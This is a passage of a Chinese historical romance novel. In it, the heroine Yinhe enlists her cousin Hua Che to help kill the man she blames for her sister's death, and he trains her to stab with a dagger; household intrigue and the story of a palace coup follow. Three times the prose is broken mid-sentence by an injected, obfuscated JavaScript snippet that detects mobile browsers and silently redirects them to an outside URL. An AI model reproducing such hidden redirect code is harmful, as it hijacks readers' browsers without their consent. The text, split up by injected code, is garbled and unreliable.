“我绝不是那样没规矩、无廉耻的人!我心里没有一点点乱七八糟的念头。”银荷猛地仰起头,仿佛面前正有人等着她做出保证,“这不算什么,对我不算什么,对他来说,就更不算什么了!他哪怕有一点点是个正人君子,就不该为此误解我。——能相信他吗?” “只要谁也不再提此事就行,我经受得住。可是,还是让姐姐蒙羞了,——啊,不行,还有葛全有!” 想到由心,银荷为自己竟将个人尊严置于报仇之上而骇然,又感到了一阵新的刺痛。难道她一年以来念念不忘的不是这件事吗?眼下就是最好的时机,她必须去找花澈。 百般情绪在银荷心里回回旋旋,也不知过了几轮,最后她终于平静下来。 虽已下定决心,但也不是马上就能迈出第一步,银荷着实将自己在屋内关了三天。三日中,所见的人只有清圆居几个丫环。即便有老太太吩咐在先,如此安静还是令银荷疑惑。随即她又惊跳一下,倒好像在盼着谁来一样,盼谁? 终于她忍不住说:“姑祖母这几日可好,我去瞧瞧她吧。” 织雨急忙拦住:“老太太也是惦记着姑娘,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087245|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日都要问几遍,还嘱咐我们别急,等大夫看过再说。姑娘这时虽没大碍了,还是多待几天。何况大奶奶最近也……忙碌,等过了这……这个关节,姑娘再想去找谁玩都使得。” 银荷见她吞吐,便追问。 织雨有些不好意思启齿的样子,倒是小朝听见,憋不住了,竹筒倒豆子一般说:“万万没想到呀,亏当初我们还白替蝉影姐姐担心呢,结果怎样?——姑娘肯定猜不到,原来她另寻了如意归宿,竟是在外面跟了大爷,真真的。”小朝说到这里也不禁脸红,“大奶奶找过去,又把她带回府里,要她在老太太面前说清楚。见了老太太,她才说已有了……老太太听了还得了,一定要把她接进来。她真回来了,就是昨个儿。” 银荷确实惊讶,一时不知该说什么,便随口问了个最不相干的问题:“大奶奶是如何知道的?” “说来刚好凑到一起。”织雨说,“之前大爷把孙嬷嬷一家撵出去了,听说就是因为她儿子想要娶蝉影。这回是孙嬷嬷给大奶奶的信儿。” 银荷没再说什么。她还记得那个人,是追求蝉影不得后意欲用强,才被花沛赶出去的。 小朝又愤愤道:“我原先还以为她多么好,满口都是三姑娘,说得那么好听,走时却不肯见她们姑娘一面——原来是因为亏心。现在更没法见三姑娘了,要不是她一门心思攀高枝,在背后勾引了大爷——” 一股众叛亲离的寒意突然也浸透了银荷。“别胡说!”她喝断小朝。银荷在丫环们面前从来没有这样厉声厉色过,小朝吓得立马住了嘴。 “你怎么也……这样说她?”银荷低垂着眼睛,低低的声音说。 小朝红着脸:“我知道了,等两日我去看蝉影姐姐。” 银荷叹一口气:“我还是去园子里走走。” 她强迫自己向花澈院子走去。走一步,勇气就减少一分。站在外面,她恨不得再溜回去,但是已经太晚了。门外站着的小厮好像还是上回那个,因为没等她走近说话,那人就拉开了门,小心扶住。 银荷怀疑地看他一眼,没看见他神情——说不定连他都知道了! 花澈正在等她。他吩咐说:“不问早晚,立即请她进来。” 他的疑惑还没得到完全解答,还是有一小块空白。但用什么补上都行,如今他已经不在乎了。 她给出的原因是好是坏,难道还有他不乐意接受的?银荷的身世根本无关紧要,对于她本人都不知道的事情,他无所谓。他想要的,是银荷能把她的每一面都完整地展现在他面前,世上唯有他一人,能够洞悉她的全部。 除了等待银荷自己来找他,他实在不知还能做什么。就因为缺少的那一块,他对她整个人都失去了把握。只有一事是确凿无疑的,除非他蠢到家才会意识不到:只要他说错一个字,做错一个动作,就再也听不到那样动听的“三表哥”了。 从银荷进屋直至元宝退下,花澈都没开口。银荷没敢多看他,也没察觉出他好像比她自己还紧张,因为她脑子里的那根弦已经绷到了最紧处。 不过,银荷已经做好了准备。一路上,她把要问的话在心里念了无数遍。她要确保自己旁的事一个字都不多讲,只要问明白这句话。一见到花澈,她就要直接说出来。 她说:“你认识葛全有?现下,他在哪儿?” 37. 同盟 花澈把葛全有其人快忘了个一干二净。上次回京路上,赶巧遇见葛全有进京,才想着借他激一激银荷。银荷不愿意看见葛全有,他亦不愿看见,那人再没有用了。 哪里想到,银荷答应冒充表姑娘的根源,那总是参不透的一小块,竟是葛全有! 由银荷的神情和语气,花澈差不多明白了大半。可是,心里的后悔迫着他想要另一种解释。他抱着丁点儿希望,如实道:“认识。现下人在哪儿我不晓得,多一半还是在京里。” “你能找到他?” “能。” 银荷急急说:“请你帮我找到他,就这一次,往后绝不再麻烦你。” “我何时说过妹妹麻烦了?” 银荷扭身就走。 “等等,”花澈唤住她,“我答应你,但总得有个由头吧,你想要我请他来家?” 银荷站住,转过身,双眼冒着火。她一时说不出话,否则,她会冲到花澈面前:“他害死了你真正的表妹!他害死了老太太疼爱的人!他害死了我的姐姐!” 末了,她只是简单地说:“别来这儿。他欺负我,我要杀了他。” “那样的话,我去杀了他。”花澈的声音也很平静,但一层煞气蒙上他的脸,损坏了原本俊朗的面容。那道凶狠的神色电光般一现,又隐去了。“明天。”他说。 银荷愣住了。回过神后她将头扬起来:“不用你管,我要亲手杀了他!” 花澈盯着她看了一会儿:“之后呢?” “之后的事也不用你管,我绝不连累谁。” “你有把握一定杀得了他?”花澈很冷地问。 银荷亦冷冷回答:“他也不过是肉体凡胎,我不信杀他不死。” “那要看是谁动手。杀一个小丫头很容易。——杀葛全有,对你来说,太难了。” “我自己会想办法。你只要——” 花澈打断她:“你打算如何行事?直接上去刺他一刀,有没有那个准头?勒死他?或许妹妹有那个力气。下毒?放火?妹妹准备怎么做?” 他又说:“其实光杀他,真不是多么难办,但妹妹能做得没有动静、毫无破绽?葛家人会善罢甘休?捕快来抓你呢?能逃多久?” 银荷之前还哑口无言,这时终于可以昂然回答:“我没有想要逃掉。大不了我偿命就是。” 过了好久,花澈说:“想想老太太会多伤心,还有其他人,你都不在乎?” 银荷正要反驳,花澈又说:“罢了,别人都不相干,只想想你自己。大概半年后你会在菜市口被砍掉脑袋。很多人会去看,大家都会为你惋惜,可是有什么用,你还是要死。那时候,我去和你道别,你敢不敢对着我的眼睛说,你既不害怕也不后悔?”说完,花澈便牢牢盯着银荷的眼睛,好像此时铡刀立马就要落下。 当然害怕,不然上次也不会……如果有别的路可走,谁会把自己往绝路上逼? “你瞧,你害怕了。这就对了,如果没怕过,你的胆量就毫无用处。” 银荷镇定下来。她对上花澈的双眼,在其中看到了自己的身影。霎时间,她仿佛在他的眼里燃烧。 “我会害怕,但是我绝不后悔,哪怕死一千次一万次,只要让葛全有死在我前头。” 两人沉默不语地对视一会儿,花澈说:“既然你下定决心了,我教你怎么杀死他,而你自己又不会有一点事。” “不过不是明天、后天,或者过几天。三五日是不可能的,妹妹可以等吗?” 银荷迟疑地看着他。“多久?” “不能心急。我什么时候觉得妹妹准备好了,就是什么时候。”花澈想了一下又说,“也不会很久,葛全有过不了年。” “好。” 当银荷顺来路返回时,心情比起一刻钟前可是大为不同。没料到花澈竟会这么容易说话,甚至于不关心情由。要是早知这么简单,何必苦苦煎熬那几日?想到前日,银荷猛然立住。“他原本一定以为我会软磨硬泡、想方设法非要嫁给他,相较之下,这个忙自然要好帮得多。这样我们就两清了,他也用不着过不去。” 银荷脸颊又发烫起来,但心中已不像先前那般火烧火燎地难受。 无论如何,问题解决了。她真的有了一个同盟,而且,是怎样的同盟啊——尽管摆不出理由,但银荷毫不怀疑,只要有花澈在,这件事相当于已经成功了一大半。 . 瑷宁一向很欣赏蝉影。蝉影说话办事干脆利落,还颇能识会算,要论才干,在丫环里面可是相当突出。不过,瑷宁最看重的还是她待花瑶一片忠心赤胆,几乎像母鸡护崽一样护着自家姑娘。 为着花瑶,蝉影连二太太都敢顶撞,更不必提二太太的外甥女,看到柔柔弱弱的戚晚被她噎得脸上又红又白,怎能不让人心头生快。 可惜了,忠心到底敌不过富贵。瑷宁看着站在面前的蝉影,遗憾地想。她对一旁丫环青岚说:“怎么站着不动,还不快去给姨奶奶上茶。” 青岚绷着脸,慢慢腾腾去了,门帘子摔出老大的动静。 蝉影还是一动不动垂首立着,虽看不见眼中神色,但她脸都没红半分,仿佛“姨奶奶”三字是说别人。 瑷宁仔细打量了蝉影几眼。她梳着回心髻,穿件丁香色并蒂莲纹裙子,脸容未必出奇,美在天生一副苗条艳丽的身段:柳腰花态,婀娜多姿。就是这么直直往跟前一站,竟带些娇慵之感,甚至连瑷宁都禁不住心生怜惜。 许就是因为这个才勾搭到花沛吧。瑷宁暗自鄙夷。 无论是谁,但凡有点儿能炫耀的,总忍不住要拿出来显一显。这不就飞上枝头了吗,才几天而已,原先的丫环模样就全没了。 想到这儿,瑷宁不由又有几分诧异。蝉影不像丫环像什么?她也不像个姨奶奶,当然更不是说她就成了小姐样子。小姐终归是小姐,丫环就是丫环。虽说除了穿衣打扮,言谈举止,瑷宁也说不出区别究竟何在,但绝混淆不了。 蝉影到底像什么,一时想不到,反正她身上有那么股子形容不出的劲儿。或许是因为这个吸引了花沛? 瑷宁在心里凉凉地笑,笑她自己。管他是因为什么!事情已然如此,难道还想着从中吸取教训,再防下一个? 她强捺了厌恶之情,开口道:“你还是坐下的好,刚有了身子,该当心才是。有什么话今天就说完吧,以后也不用来我这里。” “大奶奶不该恨我。”蝉影站着没动,低声说。 “我恨你做什么?”瑷宁笑出声,“你也太抬举自个儿了,还不至于。” 蝉影抬起脸来:“大奶奶信不信都好,我只是为了自保而已。本来并没想过……如今既进来了,我就全仰仗大奶奶了。大奶奶若嫌我,我也不敢硬凑上来,不过我是真心为了大奶奶的。” 瑷宁叹口气:“头疼得很,妈妈帮我按按。”周氏在她身后将她脑袋圈住在额侧按压起来。 瑷宁闭着眼睛说,“什么自保不自保的,又没人要害你。你放心,好好把孩子生下来就是,大家都盼着呢。” 蝉影上前小半步,低声说:“大奶奶恨我是恨错人了。” “我不是说了我不恨你,”瑷宁突然拨开周氏的手,站了起来,怀疑地看着蝉影,“你到底想说什么?” 恰这时青岚端了茶进来,蝉影看看她,没说话。 瑷宁便挥手要青岚出去,又说:“有什么话都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100199|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以当着周妈妈说。” 蝉影说:“我不是想把自己摘清,我只是……大奶奶该知道,真让大爷动了心思的人是表姑娘。” “表姑娘不是已经——”瑷宁疑惑道。 “大奶奶还不明白?”蝉影看着瑷宁,目光中甚至带了几分怜悯,“不是戚晚。” 瑷宁不可置信地瞪着蝉影。 过往的事情一桩桩、一件件,简直就是摆在鼻子底下,可笑她竟然从未往那面想过。她仍带着一线希望向蝉影求证,蝉影对着她的目光,轻轻点点头:“是曲表姑娘,我亲眼见到的。” “见到什么?” “那天,就是曲姑娘刚从庄子回来那天,大爷拉住她,说了些话。大爷说他什么都可以为曲姑娘做。” “曲姑娘答应了?” 停了一会儿,蝉影摇摇头。瑷宁无力地坐了下去。周氏在一旁目瞪口呆。 “还求大奶奶不要告诉大爷。”看到瑷宁心不在焉地点头答应,蝉影又说一遍,“如今我就全仰仗大奶奶了。” 蝉影离开后良久,瑷宁还寂然不动。 这时候,想到蝉影像谁了——身形像,那点儿说不清道不明的东西也像。那东西在表姑娘身上,也让她新鲜活泼、与众各别。 瑷宁想哭又想笑。自己一直待表姑娘那么好,而她竟真能装出一副若无其事的样子,甚至找不出理由怪她! 不怨自己没瞧出来,实在是表姑娘看起来太单纯良善。不光看起来——若说她不纯真,那天底下就没那样的人!哪怕将整个京城的姑娘摆到同样的位置上,最不可能卖弄风情的一个就是她了。 男人不会因为一个女人单纯良善而爱她,但也不会因为这个而不爱她。花沛不会。嫁他九年了,还能不知? 可怕便可怕在这里,还以为只要没人主动勾引,花沛就不会变了心,可真是太信他了! 见瑷宁枯坐许久,周氏不忍,劝解说:“奶奶还是保重自己的身子,别为这些事情犯愁。横竖也成不了,曲姑娘不是没答应吗?” “这么说我还得谢她?”瑷宁迸出泪来。 周氏不知该如何是好,将瑷宁搂入怀中。虽说她是瑷宁乳母,但主仆有别,自瑷宁大了后便再没这样过了。 瑷宁并未觉出有什么不对,她扑在周氏怀里,痛痛快快大哭了一场,周氏也跟着一起落下泪来。 哭过一阵,瑷宁拿帕子使劲擦了擦脸:“哭一哭倒是痛快不少。——还是得想个法子。” “要怎么办呢?”周氏犯难道。 “还能怎么办,等着闹出丑事吗?打发出去,这家里就清净了。” “要不得,还不如在眼皮底下好些。真到了外头,男人的办法更多,蝉影就是例!” “曲姑娘怎么会和蝉影一样?又不是把她撵到大街上。他们曲家不是还有人吗,回他们曲家去,就和我们无干了。” 周氏想了一想:“回曲家倒是个正理,只是怕也不好办。老太太从前可提过没有?” “直接告诉老太太就是,看她要谁。” “这可使不得。”周氏急道,“别着急,想想清楚,真要说破了对谁都没好处啊。大爷和你到底有多年的情分,就是一时昏头,总能回转过来。可万一事情张扬出去,曲姑娘嫁不了人,那时……” 瑷宁又掉下泪来。她现在想到另一层:之所以从来没疑过曲表姑娘,无非是因为根本不可能。表姑娘固然心高,老太太也不会答应,所以花沛的念头成不了真,哪怕他心里再想——去他的,她才不要这种保证。 “好,我帮他清了障碍,如果没有我……”瑷宁怨恨地想,拉住周氏,“妈妈帮我收拾东西,我想先回家待几天。” 38. 匕首 小朝自被银荷训斥过,便没有和蝉影断了往来,时而悄悄去找她。一日,她对银荷说:“蝉影姐姐好像没以前那么开心了,她总说怪无聊的,还说盼着哪天姑娘你能去和她说说话。” 银荷可不知能和蝉影说什么,但她在屋内闷了数日,终于决定到处走走。先去看了花瑶,接着便拐到蝉影那里。 “原来是表姑娘,真没料到。你是头一个来看我的,快快请坐。”蝉影大声笑着迎上来。 银荷有些惊奇地瞧她一眼。蝉影打扮得很美,绫罗珠翠地插裹起来,气势甚至不输瑷宁,与之前花瑶身边那个活泼调皮的大丫环浑若两人。 银荷的吃惊似乎让蝉影感到得意,益发满面生辉。她拉银荷坐下,立马有小丫头上来倒茶。蝉影也不多话,只招呼银荷喝茶吃果子,倒像是认真待客的模样。银荷却很不自在,低头不语。 “表姑娘怎么想起到我这儿来?”蝉影终于问道。 “不是你想要我来的吗?”银荷暗自疑惑。要不然她也不肯来。瑷宁这些天回娘家去了,要是她听见自己来看蝉影,或者花沛听见,似乎有些尴尬。 银荷不愿说违心的话,便道:“我从瑶妹妹那里过来,她也想……她说要我来瞧瞧你。” 蝉影伤心地说:“姑娘不想再看见我。”但随即她又露出笑,“请表姑娘告诉三姑娘,大爷对我很好,如今我没什么不足了。” 银荷点点头:“过些天三姑娘可能会来。” 她想要起身告辞,蝉影又递来一盘点心:“表姑娘再尝尝这个。这是大爷买的,表姑娘喜欢吃,大爷再专为你买些,送去,也不费什么。” 银荷猛地抬眼盯着她,蝉影仍是笑着说:“多坐一会儿,我再跟表姑娘讲讲之前的事。先前,表姑娘还没来时——表姑娘大概想得到,那时,家里这些人也是和和气气的。不过那时大爷脾气还更好些,从来不会责骂三姑娘。大奶奶也与三姑娘极好,有时回娘家看看,还带着三姑娘一起,当然,一半日也就回来了,权当出门散个心。那时候,三姑娘很喜欢出门逛逛,卫家太太常请她,他们卫府上,我都去得熟了。谁知,如今……”蝉影停下,长长叹了一口气,“自表姑娘来,时日也不算很长,事情怎么竟变了这么多?” 银荷没想到蝉影会这么尖酸,一时气结,停了停说:“自然是因为有些人变了。” 蝉影立即接道:“表姑娘不是说我吧?我算个什么呢,就凭我,也值当让谁高看一眼么。我是想不通,大奶奶和三姑娘,与别人比,又差在哪里了?” 银荷从椅子上跳起来,蝉影亦急忙站起身说:“表姑娘不要急,我也不是怨别人,这种事情,怨人家没用。我只盼着,过段日子,又来了哪个走了哪个,指不定,还又往好了变呢。” 银荷几乎是打旋一般冲出来,再多留一会儿,她该和蝉影吵起来了。 蝉影的话肯定不是全无道理,不然,便不可能如刀子一般戳在她心上。 “我不会一直呆在你们花家。”银荷在心里说,恨不得即刻收拾东西,远远离开这片是非之地。 可是,她的脚步竟不知不觉将她带到了凝辉阁。上次花澈说:“我不便去妹妹那里,只好劳烦妹妹来找我。我总是在,不拘什么时候妹妹方便,只管直接到这里来。” 过去的三四日,银荷总能找出这样那样的“不方便”,今日,是第一次来。 她直接走了进去。 花澈仍旧坐在银荷前两次见他的地方,正在纸上疾书。听见银荷进来,抬头看她一眼说:“妹妹请稍候片刻。”接着比了个手势,银荷这才注意到屋内竹榻不见了,原先的位置摆上了桌椅,她上前坐下。 桌旁小几上置了茶具——一只粉青莲花盏,银荷并不识得是柴窑,只觉分外清雅,又轻触那只精巧、光亮的银茶吊,烫得手一缩,便为自己倒了杯茶。 桌上已有纸笔摊开,砚里汪了一小滩墨,似乎是要她写字之意。银荷本来喜欢写字,既无事做,又见手旁是部经书,便抄起经文来。 屋内很安静,只能听到柔软的落笔声和偶尔翻动书页的簌簌声,片刻间银荷把方才的事情全都忘了。 “我不是已答应了,妹妹是不相信我,还是为别的事愁闷?”花澈突然开口。 银荷抬头,花澈闲适地靠在他的椅子上,斜向着她,手中摆弄着一柄小刀。 “谁愁闷了?” “刚刚进来时好像不太高兴的样子。”花澈又向她脸上仔细看去。 “并没有什么。”银荷说。 花澈点点头,不再追问,手上不停地转那把小刀。 那是柄黑色刀把的短匕首,在他指间旋得飞快,闪出水银样的寒光。银荷却被他的两只手吸引,竟难移开自己的眼睛。那双手长得极好,修长、匀称、充满力量、不露声色,——让人没法不觉得,它们本身才是锐不可当的兵器,比最锋利的刀还要危险许多。 “想好了么,妹妹喜欢怎么杀人?” 银荷蓦然一惊,抬起脸。 “你想怎么杀死葛全有?” 银荷猛地得了主意。“就你拿的那把刀。” “不是个好选择,太危险了。”花澈一面摇头,一面站起身。“不急在一时,妹妹可以慢慢想。不过——什么时候你用刀刺中我,什么时候我带你去找葛全有。” “好。”银荷一口答应,心儿兴奋地跳跃着。上次花澈答应的期限是过年前。眼下距过年还早得很——当然是越早越好。 花澈将刀递到银荷手里:“你这就刺我一刀试试。” 银荷想,花澈既如此说,肯定有防备,不至于伤了他。她不愿被他小看,因此真使出了力气,猛地一刀向他挥去。 花澈在刀落之前攥住她的手腕。 “这样不对,妹妹会伤到自己。看——”他拉着银荷的手又稍慢地重复一遍她之前的动作,刀锋还是在银荷身前停住。 银荷服气地问:“那该怎样做?” “对方不可能不躲闪、不抵挡,而且葛全有比你高一些。——要从下往上刺。像这样。”他为银荷演示。 看了几次后,银荷领会,点点头。 “先将刀握紧。”花澈又一次把刀递给银荷。 她这才低头细瞧。刀柄是黑檀木的,越发衬出刀刃雪亮,冰冷无情。整柄刀精致小巧,她拿着正称手,可她不知能不能用好它。 “假如只有一刀,知道该刺哪里吗?”花澈问。 银荷老老实实摇头,先前,她连杀鸡都不敢看。 “你要面对的是一个男人,一般来说,力气会比你大很多。你只有一刀的机会。”花澈严峻地说。 “我能做到。” “好。刺心口。你先来指准位置。”花澈直立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107294|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在银荷面前,两手背在身后。 银荷抬起手,却迟迟没有放下。可是刚刚说过大话,她惭愧、不知所措地看着花澈。 花澈笑起来:“谁能说得准妹妹什么时候胆大,什么时候又谨慎得要命。”说着他抓住银荷的手按在自己胸前,“就是这儿,感觉到没有?” 银荷感到手掌下沉稳有力的心跳,极轻极快地点了一下头。 “如果刺中这里,对方几乎即刻会死,连血都不会流。但是很难,太难了。因为这儿有骨头挡着,还有这里,这里。”花澈握住银荷的手移动。银荷拼命将思想集中于记准位置一事上,才能使自己不那么局促。 “除非对方一动不动,否则——不能全靠运气,不要这样冒险,妹妹答应吗?” 银荷郑重点了点头。 “还有一个地方。”花澈又拉着她的手向上,放在他的咽喉旁靠近下巴的位置。银荷手掌下好像有一颗跳动的火焰,她控制不住地红了脸。 好在花澈终于松开了她的手。“这里要好一些,弊病是会喷出许多血,不太好善后。同样,如果对方比你高,会增加困难。没办法,咱们多练练吧。” “你再来试一次。”他在银荷身前站定。 银荷握紧刀,这时却又踟蹰不前。她抬头,看见花澈鼓励的神情,犹犹豫豫举起手,一咬牙,向他刺去。 “不对。”花澈又一次抓住银荷的手腕。他转过身,扶着银荷的胳膊,一遍遍挥舞出刺杀的动作。 “差不多了。”近半个时辰后,花澈终于稍稍满意。 “好,假如我就是你最恨的人,来刺我一刀。” 银荷微微喘息着,胳膊很累,双眼却闪闪发亮。她惊异于自己心底深处竟可能藏着嗜血的念头。这时才懂得,之前所设想的要杀葛全有是多么的大言不惭。而如今…… 她又低头看了看。生与死的界限就在薄薄的刀刃上。她比之前还要踌躇不决。 花澈安安静静地等待着,如同一尊石像。银荷试图设想是葛全有在眼前,等待恨意将她的心胸填满。 她自以为极快地出刀,显然还不够快。 “不要犹豫!”花澈牢牢捏住她的手腕,捏得她骨头似要断了一样。银荷竭力忍耐着,没有吭声。 “记住,最重要是要快。一霎迟疑,你就没命了。”花澈甩开银荷的手。 “你已经不知死过多少回了,最后一次。”他冰冷而轻蔑地说,目光比刀子还要冷酷。 银荷羞愧,亦愤怒,她甚至真的开始憎恨花澈。万般情绪在她心中翻涌,可其中并没有畏怯。银荷忽然想:我再也不会怕谁了。 又一次,她挥出了手中的刀。 花澈退后一步,闪开了。银荷根本没有察觉到是怎么回事,就又被他拿住了手腕。 她气馁地松开手,刀子哐当一声落在地上。花澈用一种奇异的目光注视她,许久,他说:“这次很好。你现在只缺平静和镇定,出刀的时候,什么都不要想。——妹妹明天再来,我等着妹妹。” 银荷吁出一口气,感激地看着花澈。 花澈弯腰捡起小刀,从桌上拿过刀鞘,插好后又把它放回桌上。“妹妹拿着这把刀。”他的食指在刀上摸了一下,将它向银荷推去。 银荷伸出手。在他们手指碰触的一瞬,只听花澈说:“以后再有人欺负你,杀了他。” 39. 宫变 自打银荷那回酒后不醒,老太太一直暗中担忧。她从曲展的信中得知,由心患有某种顽疾,打出生后,没有哪一年好过,大夫们也瞧不出个一二来。老太太便以为这是又一次发了病。 不过,有位太医看了称,并不妨事,只是忧思过重,需慢慢排遣——别的法子不管用,须寻个僻静无人的地方,或抄抄经文,或静心打坐,不拘什么时辰,每日小半天,过几个月便可无大虞。 对好话,人总是格外愿意相信,花府中恰有一座佛堂,老太太忙让人准备好,供银荷安静抄经,旁边只留一位做事干净的小丫头勤添着灯油。 于是银荷每日走去佛堂,又并不停下,再三转两转,就拐到凝辉阁。 起初花澈间或还要出门,回来写张字条给银荷,上面只一二字——来吧。渐渐地,他整日在家,银荷想何时去便何时去。 进屋前,银荷总在门口略停一下。“三表哥,我来了。”她会说。 这一句什么时候都动听,但在那些着实等得心焦的日子,简直清脆如冰雪消融后溪流的第一声歌唱。 来了后,银荷当真先抄小半个时辰的经。桌上有一条绿玉的镇纸,做成一段竹子模样,连竹节都刻得以假乱真,若拿着它伸直胳膊向窗外比划,怎么看都和窗上框出的那几竿翠竹是一家。 花澈见她喜欢,随随便便说:“妹妹拿回去。” 银荷看中的是竹节碧莹莹光润润,样子蓬勃可爱,但她也知道,如此大一块绿玉必然价值甚巨,何况恐怕是花澈珍爱之物,如何肯收。不过她养成个习惯,每次一坐下后,就拿起镇纸,在脸上冰一会儿——她喜欢一瞬间凉扎扎的触感。 偏有一回,花澈去外面见了个客人,回来经过银荷桌子时,顺手抓起镇纸,也往脸上挨了挨,外加说了句玩笑话,便把银荷给惹恼了。 这些日子,银荷已把前事丢开,仿佛从没发生过一般。她只是气花澈故态复萌,又露出轻口薄舌的本性,不乐意再看见他。第二日,她故意拖着时候,午休后,又跑去映雪那里,帮她打几条络子。 屋子里很闷,映雪让人搬了竹椅,两人坐在廊下。映雪不住摇扇:“总是劳动由妹妹,真是不过意。快吃些梅子,过会儿就不冰了。” 银荷不停手,也没抬头,余光瞧见映雪捻起一颗杨梅,便偏过头去要映雪喂给她。 “还是二嫂好。”不知为何,惟在映雪跟前,银荷会想要撒撒娇。 两人说笑间,树枝先是试探般地轻颤几下,很快就慌乱地晃动不已。 “呀,怕是要下雨了。”映雪欣喜地说,“这下可凉快了。” 银荷听了却一下子跳起:“我该回去了。” “别急,一时落不下来。雨停了再走也不迟,就留在我这儿不好么。” “改天再来。”话音未落,银荷身影已在院墙外了,也没听见映雪笑她性子急。 她三步并两步跑回清圆居,丫环们都站在外面吹风。 “我等雨停了再回来。”她交代几句,跑出老远,又回头喊,“我在屋里头坐着,不要紧,可千万别冒雨去找我。” 等她一路冲到凝辉阁时,发现花澈一反常态,居然站在窗前。窗户大敞,风一阵阵灌进来,他的衣袖在风中呼呼舞着。 “我刚才在二表嫂那里,没想到会变天,我过来说一声,这就回去了。”她急急忙忙说,早已忘了对花澈生气的事。 “晚了,妹妹走不了了。”花澈平静道。话音刚落,电光一闪,随即响起迅猛的鼓点,第一阵雨急先锋般敲下。 银荷一僵。 “妹妹还有别的事?着急什么,过来看看。” 银荷别别扭扭走了过去,两人隔着桌子,一齐望向窗外。 不多点儿功夫,雨已下成白刷刷一片,落在地上时,溅开无数银亮的花。 谁都没说话。雨好像是在场的第三个人,让他们不必理会彼此,而这时也没有任何话语能打断天地的鸣奏。 滂沱的雨一阵紧似一阵,偶尔,在风力之下,结成一张沉重的帘幕,陡斜坠下,啪地在地上打出一道线痕。 银荷的心被抓住了。她羡慕这涤荡一切的风,洗刷万物的雨,想如风一样强劲,像雨一样自在。 等到雨势减小,花澈才开口:“我师父很喜欢看雨。” “你师父是谁?”银荷惊诧道。 “他是先皇帝的护卫。” 银荷益发好奇:“皇帝的护卫怎么成了你师父?” “宫变之时,他受了伤——” “什么宫变?”银荷打断。 花澈笑道:“我忘了,妹妹大概没听过。” 已经是十八、九年前的事了,寻常百姓、无甚干系的人家,确实早已无人晓得。 不过,事情与银荷所在的曲家,多少算有“干系”——曲家老太爷曲慕,曾是挑起宫变那位被废太子的西席。 后来,皇帝与太子父子不和,曲慕所处的地位,便危险万分,行差一步,丢官事小,命都悬在一线上。不过,曲慕的做法倒聪明——花澈猜测,他许是老早前就嗅出了不对,在宫变前几年,便设法犯了几样错,既与皇帝疏远,又与太子离心,“自贬”去了矴州,远离京城,倒是躲过了祸事。不然,他必受牵连,到时满门不保,哪里还来这个丫头。 事后,曲慕肯定是心有余悸,不许家人多议论,他的儿子曲展一字不提,银荷自然更一无所知。 “快二十年了,那时大概还没有妹妹——妹妹出生,才是可贺的大事,其余用不着理会。无非是先皇帝对太子不满,太子先发制人,逼皇帝让位,不过,他失败了,逃出了皇宫。”花澈大略地讲给银荷。 “你师父因此受了伤?” “小伤,但他假称伤重,不然的话,恐怕要派他去追杀——杀废太子倒没什么,但太子事先安排一个有孕的侍妾躲了出去,皇帝还要找到那个侍妾,杀死她。我师父不想做这件事,便借口伤重,告病回家。” 银荷义愤道:“成王败寇,理已经叫皇帝占了,为何还要赶尽杀绝?一个女子,就不能放她一条生路,何况她还……” 正因为她有孕,才一定要杀死她。留下那孩子,后患无穷。废太子逃走后,东宫的人悉数被处死,一个不剩。不过这些话不必告诉银荷了。 花澈只说:“反正后来没找到那人,说不定他们母子在哪里安顿下来,至今还活着,无人知晓罢了。” 当然,机率非常小,几近于无。依做皇帝的性子,若肯罢休,不再追寻,必定是知道她活不了命。这么多年过去,废太子再无一点讯息,八成已经死了,又何况那孤儿寡母。 花澈见银荷犹面含不平之色,便岔开话,接着道:“我师父请辞后,不知什么机缘,来这里做了名护院。我到了淘气的岁数,成日上房揭瓦,他大概瞧得生气,说要好好管教管教我,教我些正经本事。但他不许我告诉别人知道,我便一直没说。 “瞒过了别人,没瞒过我娘。她发现后,也答应替师父保密,只是让我行了正式拜师之礼,还要我保证不得随意伤人。于是师父便继续教我。 “他是个特别严厉的人,这满院子里,谁也没福气像我一样挨那么多打骂。不过下雨的时候他格外和善,我们经常在屋檐下看雨。他喜好听雨水声,总说有朝一日会找一面瀑布,在旁边搭间屋子。 “将来我带妹妹去有瀑布的地方找,说不定便找到他了。见了你,师父肯定高兴,等他教你一招厉害的,以后我可不敢再惹妹妹生气。”花澈最后说。 银荷没留意话里的意思,一个劲想,花澈的师父定然是如风雨般果敢逍遥的人物,忍不住便问:“你不知道你师父去了哪里?他为何要来这里做护院,他没有家人?” 